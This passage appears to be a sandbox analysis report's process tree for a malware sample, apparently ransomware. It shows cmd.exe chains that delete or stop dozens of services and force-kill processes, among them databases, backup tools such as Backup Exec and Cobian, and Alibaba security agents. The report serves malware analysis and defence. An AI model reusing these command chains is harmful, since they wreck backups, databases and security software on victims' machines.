- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"
    3⤵
    PID:4196
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "UWS LoPriv Services"
      4⤵
      PID:4820
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ftnlsv3
      4⤵
      PID:5336
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ftnlses3
      4⤵
      PID:5488
  - - C:\Windows\SysWOW64\sc.exe
      sc delete FxService
      4⤵
      PID:2604
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "UtilDev Web Server Pro"
      4⤵
      PID:5524
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ftusbrdwks
      4⤵
      PID:6004
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ftusbrdsrv
      4⤵
      PID:5596
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "ZTE USBIP Client Guard"
      4⤵
      PID:2512
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "ZTE USBIP Client"
      4⤵
      PID:2668
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "ZTE FileTranS"
      4⤵
      Launches sc.exe
      PID:3640
  - - C:\Windows\SysWOW64\sc.exe
      sc delete wwbizsrv
      4⤵
      Launches sc.exe
      PID:6052
  - - C:\Windows\SysWOW64\sc.exe
      sc delete qemu-ga
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\sc.exe
      sc delete AlibabaProtect
      4⤵
      PID:5596
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ZTEVdservice
      4⤵
      PID:1760
  - - C:\Windows\SysWOW64\sc.exe
      sc delete kbasesrv
      4⤵
      Launches sc.exe
      PID:2896
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MMRHookService
      4⤵
      PID:5504
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleJobSchedulerORCL
      4⤵
      Launches sc.exe
      PID:1388
  - - C:\Windows\SysWOW64\sc.exe
      sc delete IpOverUsbSvc
      4⤵
      PID:620
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MsDtsServer100
      4⤵
      Launches sc.exe
      PID:5392
  - - C:\Windows\SysWOW64\sc.exe
      sc delete KuaiYunTools
      4⤵
      PID:5688
  - - C:\Windows\SysWOW64\sc.exe
      sc delete KMSELDI
      4⤵
      PID:3940
  - - C:\Windows\SysWOW64\sc.exe
      sc delete btPanel
      4⤵
      PID:1920
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Protect_2345Explorer
      4⤵
      PID:5772
  - - C:\Windows\SysWOW64\sc.exe
      sc delete 2345PicSvc
      4⤵
      PID:5776
  - - C:\Windows\SysWOW64\sc.exe
      sc delete vmware-converter-agent
      4⤵
      PID:4468
  - - C:\Windows\SysWOW64\sc.exe
      sc delete vmware-converter-server
      4⤵
      Launches sc.exe
      PID:6028
  - - C:\Windows\SysWOW64\sc.exe
      sc delete vmware-converter-worker
      4⤵
      Launches sc.exe
      PID:5608
  - - C:\Windows\SysWOW64\sc.exe
      sc delete QQCertificateService
      4⤵
      PID:5232
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleRemExecService
      4⤵
      PID:5024
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSDaemon
      4⤵
      PID:1280
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSUserSvr
      4⤵
      PID:3520
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSDownSvr
      4⤵
      PID:4608
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSStorageSvr
      4⤵
      PID:5408
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSDataProcSvr
      4⤵
      PID:6032
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSGatewaySvr
      4⤵
      PID:4840
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSMediaSvr
      4⤵
      PID:4260
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSLoginSvr
      4⤵
      PID:4160
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSTomcat6
      4⤵
      PID:6084
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSMysqld
      4⤵
      PID:4616
  - - C:\Windows\SysWOW64\sc.exe
      sc delete GPSFtpd
      4⤵
      PID:5372
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "Zabbix Agent"
      4⤵
      PID:5452
  - - C:\Windows\SysWOW64\sc.exe
      sc delete BackupExecAgentAccelerator
      4⤵
      PID:1324
  - - C:\Windows\SysWOW64\sc.exe
      sc delete bedbg
      4⤵
      PID:5220
  - - C:\Windows\SysWOW64\sc.exe
      sc delete BackupExecDeviceMediaService
      4⤵
      PID:5020
  - - C:\Windows\SysWOW64\sc.exe
      sc delete BackupExecRPCService
      4⤵
      PID:1904
  - - C:\Windows\SysWOW64\sc.exe
      sc delete BackupExecAgentBrowser
      4⤵
      PID:544
  - - C:\Windows\SysWOW64\sc.exe
      sc delete BackupExecJobEngine
      4⤵
      PID:5388
  - - C:\Windows\SysWOW64\sc.exe
      sc delete BackupExecManagementService
      4⤵
      PID:5668
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MDM
      4⤵
      PID:4768
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TxQBService
      4⤵
      Launches sc.exe
      PID:3188
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Gailun_Downloader
      4⤵
      Launches sc.exe
      PID:5052
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RemoteAssistService
      4⤵
      PID:5632
  - - C:\Windows\SysWOW64\sc.exe
      sc delete YunService
      4⤵
      PID:3532
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Serv-U
      4⤵
      PID:5276
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "EasyFZS Server"
      4⤵
      PID:5720
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "Rpc Monitor"
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OpenFastAssist
      4⤵
      Launches sc.exe
      PID:5180
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "Nuo Update Monitor"
      4⤵
      PID:1904
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "Daemon Service"
      4⤵
      Launches sc.exe
      PID:5200
  - - C:\Windows\SysWOW64\sc.exe
      sc delete asComSvc
      4⤵
      Launches sc.exe
      PID:2380
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OfficeUpdateService
      4⤵
      PID:6084
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RtcSrv
      4⤵
      PID:6680
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCASMCU
      4⤵
      PID:6812
  - - C:\Windows\SysWOW64\sc.exe
      sc delete FTA
      4⤵
      PID:6720
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MASTER
      4⤵
      PID:3560
  - - C:\Windows\SysWOW64\sc.exe
      sc delete NscAuthService
      4⤵
      Launches sc.exe
      PID:5884
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSCRMUnzipService
      4⤵
      PID:5512
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSCRMAsyncService$maintenance
      4⤵
      PID:5632
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services" & net stop MSSQL$FE_EXPRESS"
    3⤵
    PID:4784
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleOraDb11g_home1ClrAgent
      4⤵
      PID:5784
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleOraDb11g_home1TNSListener
      4⤵
      PID:5176
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleVssWriterORCL
      4⤵
      PID:4220
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleServiceORCL
      4⤵
      PID:5744
  - - C:\Windows\SysWOW64\sc.exe
      sc delete aspnet_state @sc delete Redis
      4⤵
      PID:5572
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleVssWriterORCL
      4⤵
      PID:6016
  - - C:\Windows\SysWOW64\sc.exe
      sc delete JhTask
      4⤵
      PID:3636
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ImeDictUpdateService
      4⤵
      PID:5772
  - - C:\Windows\SysWOW64\sc.exe
      sc delete XT800Service_Personal
      4⤵
      Launches sc.exe
      PID:1248
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MCService
      4⤵
      Launches sc.exe
      PID:5164
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ImeDictUpdateService
      4⤵
      PID:5344
  - - C:\Windows\SysWOW64\sc.exe
      sc delete allpass_redisservice_port21160
      4⤵
      PID:5952
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "Flash Helper Service"
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "Kiwi Syslog Server"
      4⤵
      PID:4472
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "UWS HiPriv Services"
      4⤵
      PID:1772
  - - C:\Windows\SysWOW64\net.exe
      net stop MSSQL$FE_EXPRESS
      4⤵
      PID:396
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$FE_EXPRESS
        5⤵
        
        PID:5132
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""
    3⤵
    PID:1288
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "XT800Service_Personal"
      4⤵
      PID:5820
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLSERVERAGENT
      4⤵
      PID:5156
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLWriter
      4⤵
      PID:5088
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLBrowser
      4⤵
      PID:2824
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSQLFDLauncher
      4⤵
      PID:5692
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSQLSERVER
      4⤵
      PID:5228
  - - C:\Windows\SysWOW64\sc.exe
      sc delete QcSoftService
      4⤵
      PID:5756
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSQLServerOLAPService
      4⤵
      PID:4344
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VMTools
      4⤵
      PID:5696
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VGAuthService
      4⤵
      PID:5488
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSDTC
      4⤵
      Launches sc.exe
      PID:5172
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TeamViewer
      4⤵
      Launches sc.exe
      PID:5572
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ReportServer
      4⤵
      Launches sc.exe
      PID:5432
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RabbitMQ
      4⤵
      PID:5392
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "AHS SERVICE"
      4⤵
      PID:5632
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "Sense Shield Service"
      4⤵
      PID:1216
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SSMonitorService
      4⤵
      PID:5176
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SSSyncService
      4⤵
      PID:5588
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TPlusStdAppService1300
      4⤵
      PID:1172
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSQL$SQL2008
      4⤵
      PID:5532
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLAgent$SQL2008
      4⤵
      PID:6028
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TPlusStdTaskService1300
      4⤵
      PID:5288
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TPlusStdUpgradeService1300
      4⤵
      PID:5228
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VirboxWebServer
      4⤵
      PID:5952
  - - C:\Windows\SysWOW64\sc.exe
      sc delete jhi_service
      4⤵
      PID:5196
  - - C:\Windows\SysWOW64\sc.exe
      sc delete LMS
      4⤵
      Launches sc.exe
      PID:3636
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "FontCache3.0.0.0"
      4⤵
      Launches sc.exe
      PID:4596
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "OSP Service"
      4⤵
      PID:5872
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & @taskkill /IM DDSoftPwsTomcat9.exe /F & @taskkill /IM U8SmartClient.exe /F & @taskkill /IM U8SmartClientMonitor.exe /F & @taskkill /IM tomcat9.exe /F & @taskkill /IM SqlManagement.exe /F & @sc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai" & @taskkill /IM ReportingServicesService.exe /F & @sc delete "ReportServer$SQLEXPRESS" & @sc delete TongBackupSrv & @taskkill /IM TongBackupSrv.exe /F & @taskkill /IM UFMsgCenterService.exe /F & @taskkill /IM "Cobian.exe" /F & @taskkill /IM "SAP Business One.exe" /F & @net stop "SQLBackupAndFTP Client Service" & @taskkill /IM "SqlBak.Service.exe" /F & @net stop cbVSCService & @net stop "SAP Business One RSP Agent Service" & @net stop SAPB1iDIProxy & @net stop "SAPB1iDIProxy_Monitor" & @net stop SAPB1iEventSender & @net stop SBOClientAgent & @net stop SBODI_Server & @net stop SBOJobServiceBackEnd & @net stop SBOMail & @net stop SBOWFDataAccess & @net stop SBOWorkflowEngine"
    3⤵
    PID:2440
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM DDSoftPwsTomcat9.exe /F
      4⤵
      PID:4468
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM U8SmartClient.exe /F
      4⤵
      Kills process with taskkill
      PID:5392
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM U8SmartClientMonitor.exe /F
      4⤵
      PID:5568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM tomcat9.exe /F
      4⤵
      PID:5660
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SqlManagement.exe /F
      4⤵
      PID:2604
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai"
      4⤵
      PID:5568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ReportingServicesService.exe /F
      4⤵
      PID:5824
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "ReportServer$SQLEXPRESS"
      4⤵
      Launches sc.exe
      PID:1920
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TongBackupSrv
      4⤵
      PID:5256
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TongBackupSrv.exe /F
      4⤵
      PID:1520
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UFMsgCenterService.exe /F
      4⤵
      PID:4596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "Cobian.exe" /F
      4⤵
      PID:5356
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "SAP Business One.exe" /F
      4⤵
      PID:3856
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLBackupAndFTP Client Service"
      4⤵
      PID:5228
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLBackupAndFTP Client Service"
        5⤵
        
        PID:3192
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "SqlBak.Service.exe" /F
      4⤵
      PID:1404
  - - C:\Windows\SysWOW64\net.exe
      net stop cbVSCService
      4⤵
      PID:5752
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop cbVSCService
        5⤵
        
        PID:5240
  - - C:\Windows\SysWOW64\net.exe
      net stop "SAP Business One RSP Agent Service"
      4⤵
      PID:1484
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SAP Business One RSP Agent Service"
        5⤵
        
        PID:3608
  - - C:\Windows\SysWOW64\net.exe
      net stop SAPB1iDIProxy
      4⤵
      PID:5512
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SAPB1iDIProxy
        5⤵
        
        PID:5920
  - - C:\Windows\SysWOW64\net.exe
      net stop "SAPB1iDIProxy_Monitor"
      4⤵
      PID:1436
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SAPB1iDIProxy_Monitor"
        5⤵
        
        PID:6028
  - - C:\Windows\SysWOW64\net.exe
      net stop SAPB1iEventSender
      4⤵
      PID:524
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SAPB1iEventSender
        5⤵
        
        PID:3112
  - - C:\Windows\SysWOW64\net.exe
      net stop SBOClientAgent
      4⤵
      PID:4528
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOClientAgent
        5⤵
        
        PID:5960
  - - C:\Windows\SysWOW64\net.exe
      net stop SBODI_Server
      4⤵
      PID:6192
  - - C:\Windows\SysWOW64\net.exe
      net stop SBOJobServiceBackEnd
      4⤵
      PID:6172
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOJobServiceBackEnd
        5⤵
        
        PID:6660
  - - C:\Windows\SysWOW64\net.exe
      net stop SBOMail
      4⤵
      PID:1404
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOMail
        5⤵
        
        PID:5708
  - - C:\Windows\SysWOW64\net.exe
      net stop SBOWFDataAccess
      4⤵
      PID:6548
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOWFDataAccess
        5⤵
        
        PID:7008
  - - C:\Windows\SysWOW64\net.exe
      net stop SBOWorkflowEngine
      4⤵
      PID:3488
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOWorkflowEngine
        5⤵
        
        PID:2856
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & @taskkill /IM ReportingServicesService.exe /F & @sc delete "SQL Server Reporting Services" & @sc delete MSSQLFDLauncher & @taskkill /IM U8CEServer.exe /F & @taskkill /IM ServerNT.exe /F & @net stop UFNet & @taskkill /IM MessageNotification.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete cbVSCService11 & @sc delete CobianBackup11"
    3⤵
    PID:4304
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ReportingServicesService.exe /F
      4⤵
      PID:4892
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "SQL Server Reporting Services"
      4⤵
      PID:444
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSQLFDLauncher
      4⤵
      PID:6092
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM U8CEServer.exe /F
      4⤵
      PID:5600
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ServerNT.exe /F
      4⤵
      PID:988
  - - C:\Windows\SysWOW64\net.exe
      net stop UFNet
      4⤵
      PID:5496
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UFNet
        5⤵
        
        PID:5600
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM MessageNotification.exe /F
      4⤵
      PID:6096
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cbVSCService11.exe /F
      4⤵
      PID:4260
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cbService.exe /F
      4⤵
      PID:1772
  - - C:\Windows\SysWOW64\sc.exe
      sc delete cbVSCService11
      4⤵
      PID:4840
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CobianBackup11
      4⤵
      Launches sc.exe
      PID:908
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""
    3⤵
    PID:1136
  - - C:\Windows\SysWOW64\net.exe
      net stop UIODetect
      4⤵
      PID:5960
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UIODetect
        5⤵
        
        PID:5360
  - - C:\Windows\SysWOW64\net.exe
      net stop VMwareHostd
      4⤵
      PID:5764
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VMwareHostd
        5⤵
        
        PID:5300
  - - C:\Windows\SysWOW64\net.exe
      net stop TeamViewer8
      4⤵
      Discovers systems in the same network
      PID:2532
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TeamViewer8
        5⤵
        
        PID:3116
  - - C:\Windows\SysWOW64\net.exe
      net stop VMUSBArbService
      4⤵
      PID:5768
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VMUSBArbService
        5⤵
        
        PID:5832
  - - C:\Windows\SysWOW64\net.exe
      net stop VMAuthdService
      4⤵
      PID:2304
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VMAuthdService
        5⤵
        
        PID:5700
  - - C:\Windows\SysWOW64\net.exe
      net stop wanxiao-monitor
      4⤵
      PID:3520
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wanxiao-monitor
        5⤵
        
        PID:5488
  - - C:\Windows\SysWOW64\net.exe
      net stop WebAttendServer
      4⤵
      PID:5328
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WebAttendServer
        5⤵
        
        PID:5300
  - - C:\Windows\SysWOW64\net.exe
      net stop mysqltransport
      4⤵
      PID:4472
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop mysqltransport
        5⤵
        
        PID:5784
  - - C:\Windows\SysWOW64\net.exe
      net stop VMnetDHCP
      4⤵
      PID:6140
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VMnetDHCP
        5⤵
        
        PID:5544
  - - C:\Windows\SysWOW64\net.exe
      net stop "VMware NAT Service"
      4⤵
      PID:5460
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "VMware NAT Service"
        5⤵
        
        PID:5664
  - - C:\Windows\SysWOW64\net.exe
      net stop Tomcat8
      4⤵
      PID:4380
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Tomcat8
        5⤵
        
        PID:6032
  - - C:\Windows\SysWOW64\net.exe
      net stop TeamViewer
      4⤵
      Discovers systems in the same network
      PID:3740
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TeamViewer
        5⤵
        
        PID:3728
  - - C:\Windows\SysWOW64\net.exe
      net stop QPCore
      4⤵
      PID:4768
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop QPCore
        5⤵
        
        PID:5652
  - - C:\Windows\SysWOW64\net.exe
      net stop CASLicenceServer
      4⤵
      PID:5932
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CASLicenceServer
        5⤵
        
        PID:5132
  - - C:\Windows\SysWOW64\net.exe
      net stop CASWebServer
      4⤵
      PID:5548
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CASWebServer
        5⤵
        
        PID:5064
  - - C:\Windows\SysWOW64\net.exe
      net stop AutoUpdateService
      4⤵
      PID:6128
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AutoUpdateService
        5⤵
        
        PID:5740
  - - C:\Windows\SysWOW64\net.exe
      net stop "Alibaba Security Aegis Detect Service"
      4⤵
      PID:5648
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"
        5⤵
        
        PID:5736
  - - C:\Windows\SysWOW64\net.exe
      net stop "Alibaba Security Aegis Update Service"
      4⤵
      PID:5284
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"
        5⤵
        
        PID:4996
  - - C:\Windows\SysWOW64\net.exe
      net stop "AliyunService"
      4⤵
      PID:1012
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "AliyunService"
        5⤵
        
        PID:5264
  - - C:\Windows\SysWOW64\net.exe
      net stop CASXMLService
      4⤵
      PID:836
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CASXMLService
        5⤵
        
        PID:5544
  - - C:\Windows\SysWOW64\net.exe
      net stop AGSService
      4⤵
      PID:5372
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AGSService
        5⤵
        
        PID:2624
  - - C:\Windows\SysWOW64\net.exe
      net stop RapService
      4⤵
      PID:5920
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop RapService
        5⤵
        
        PID:5812
  - - C:\Windows\SysWOW64\net.exe
      net stop DDNSService
      4⤵
      PID:5524
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop DDNSService
        5⤵
        
        PID:1760
  - - C:\Windows\SysWOW64\net.exe
      net stop iNethinkSQLBackupSvc
      4⤵
      PID:6288
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop iNethinkSQLBackupSvc
        5⤵
        
        PID:3204
  - - C:\Windows\SysWOW64\net.exe
      net stop CASVirtualDiskService
      4⤵
      PID:6964
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CASVirtualDiskService
